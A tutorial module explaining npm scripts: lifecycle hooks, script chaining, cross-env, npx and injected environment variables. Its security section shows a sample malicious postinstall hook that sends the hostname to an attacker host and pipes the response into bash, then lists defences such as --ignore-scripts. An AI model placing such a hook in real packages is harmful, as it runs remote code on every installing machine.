Skip to content

mod_05 - npm Scripts

npm scripts are the most underrated build tool in the Node ecosystem
Everyone reaches for Gulp, Grunt, or some JS config file when npm scripts can already handle 90% of what you need - no plugins , no complex configuration , no build dependencies. It's just shell commands. And they're already available in every Node project because npm ships with Node

running scripts

All scripts run via npm run <script-name>

npm run test    # runs the "test" script
npm run build   # runs the "build" script
npm run lint    # runs the "lint" script

A few scripts have aliases: * npm start instead of npm run start * npm test instead of npm run test * npm stop instead of npm run stop * npm restart instead of npm run restart (actually runs stop + start + restart)

{
  "scripts": {
    "start": "node server.js",
    "test": "jest",
    "build": "next build"
  }
}

pre and post hooks

npm automatically runs pre and post scripts around matching script names

{
  "scripts": {
    "prebuild": "rimraf dist/",
    "build": "tsc",
    "postbuild": "cp package.json dist/ && cp README.md dist/",
    "pretest": "eslint .",
    "test": "jest",
    "posttest": "npm run build"
  }
}

When you run npm run build, npm executes: 1. prebuild - clean the dist folder 2. build - compile TypeScript 3. postbuild - copy additional files

These hooks apply to any script, including lifecycle scripts:

{
  "scripts": {
    "preinstall": "node scripts/check-engine.js",
    "postinstall": "node scripts/generate-assets.js",
    "prepublishOnly": "npm test && npm run build"
  }
}

Important: postinstall runs every time someone installs your package - not just development. If postinstall fails , the install fails. Use it sparingly for critical setup like compiling native addons or downloading platform-specific binaries. Don't use it for linting or testing (that's what prepublishOnly is for)

common script patterns

{
  "scripts": {
    "dev": "node --watch server.js",
    "start": "NODE_ENV=production node server.js",
    "test": "jest --coverage --verbose",
    "test:watch": "jest --watch",
    "test:ci": "jest --ci --coverage --maxWorkers=2",
    "lint": "eslint .",
    "lint:fix": "eslint . --fix",
    "format": "prettier --write 'src/**/*.{js,ts,json}'",
    "typecheck": "tsc --noEmit",
    "build": "tsc && npm run build:assets",
    "build:assets": "cp -r public/* dist/",
    "clean": "rimraf dist/ coverage/ .nyc_output/",
    "validate": "npm run lint && npm run typecheck && npm run test && npm run build",
    "audit": "npm audit && npm outdated",
    "ci": "npm ci && npm run validate"
  }
}

The validate pipeline

A single validate script that runs everything - useful for CI and pre-commit hooks

npm run validate
# runs: lint -> typecheck -> test -> build
# if any step fails, the chain stops

In CI:

{
  "scripts": {
    "ci:all": "npm ci && npm run validate && npm run audit"
  }
}

Cross-platform scripts

Shell commands don't work the same on Windows and Linux. NODE_ENV=production is Unix-only. Use packages like cross-env for compatibility:

npm install --save-dev cross-env
{
  "scripts": {
    "start": "cross-env NODE_ENV=production node server.js",
    "dev": "cross-env NODE_ENV=development node --watch server.js"
  }
}

rimraf (instead of rm -rf) and copyfiles (instead of cp -r) also work cross-platform

npx - one-off package execution

npx ships with npm and runs packages without installing them globally

# Instead of:
npm install -g create-react-app
create-react-app my-app

# Use:
npx create-react-app my-app

# Run a specific version of a tool
npx eslint@8.0.0 . --fix

# Run a package from the project's node_modules
npx jest --coverage

# Execute a GitHub gist
# npx github:user/repo

npx first checks if the command exists in node_modules/.bin/. If not, it downloads the package, runs it , and discards it. This is the cleanest way to use CLI tools without polluting your global npm state

When to use npx vs npm scripts

{
  "scripts": {
    "lint": "eslint .",
    "test": "jest"
  }
}

In a script , eslint and jest resolve from node_modules/.bin/ automatically - no need for npx. Use npx for: * One-time runs of CLI generators (create-react-app , create-next-app) * Trying packages without installing them * Running a different version than what's in your project

scripts as build pipeline

Chain scripts with && (stop on failure) or ; (continue on failure)

{
  "scripts": {
    "build": "tsc && npm run build:minify && npm run build:hash",
    "build:minify": "esbuild dist/index.js --minify --outfile=dist/index.min.js",
    "build:hash": "node scripts/generate-hash.js",

    "deploy": "npm run validate && npm run build && npm run deploy:upload",
    "deploy:upload": "node scripts/deploy.js",

    "hotfix": "npm run build && npm run test && npm run deploy"
  }
}

The && vs ; distinction matters in CI. If a step fails with &&, the chain stops and the script exits with an error - the expected behavior for most pipelines. If a step fails with ;, the next step runs anyway - useful for linting where you want all results , not just the first failure

environment variables

npm scripts inherit environment variables from the shell. You can also set them inline

# Unix inline env variables
NODE_ENV=production npm run build

# Windows - use cross-env
cross-env NODE_ENV=production npm run build

npm also injects some variables: * npm_package_name - the name field from package.json * npm_package_version - the version field * npm_lifecycle_event - the current script name (test, build, etc.) * npm_config_* - npm config values

{
  "scripts": {
    "version:log": "echo \"Building $npm_package_name v$npm_package_version\""
  }
}

These aren't shell environment variables in the usual sense - they're npm passing package.json fields through. Useful for custom build scripts

security: postinstall RCE

postinstall scripts run arbitrary code when npm install executes
This is the most common supply chain attack vector in npm. A malicious package can postinstall to:

{
  "scripts": {
    "postinstall": "curl http://attacker.com/$(hostname) | bash"
  }
}

This runs on every developer's machine and CI server that installs the package

Protection mechanisms:

# Run npm install without executing scripts
npm install --ignore-scripts

# Set globally (add to .npmrc)
ignore-scripts=true

# Audit installed packages for postinstall hooks
npm query ":attr(scripts, [postinstall])"
# List all packages with install scripts
npm ls --all --json | grep -A 1 'install\\|postinstall'

Production hardening: * Add ignore-scripts=true to your project's .npmrc for production installs * Only run scripts when you trust the package (npm install with --ignore-scripts , then manually review) * Use npm audit to check for known malicious packages * Review postinstall scripts in package-lock.json before upgrading

summary

  • Scripts are shell commands - use && for chaining , ; for continuation
  • pre and post hooks run automatically around matching script names
  • Use cross-env for cross-platform environment variables
  • npx runs packages without global install - use it for CLI generators and tools
  • Scripts resolve node_modules/.bin/ automatically - no need for full paths
  • postinstall scripts are the primary supply chain attack vector - use --ignore-scripts in production
  • npm_lifecycle_event variable tells you which script is currently running

prerequisites

mod_04_package_json.md - package.json fields and structure

next -> mod_06_manage_dep.md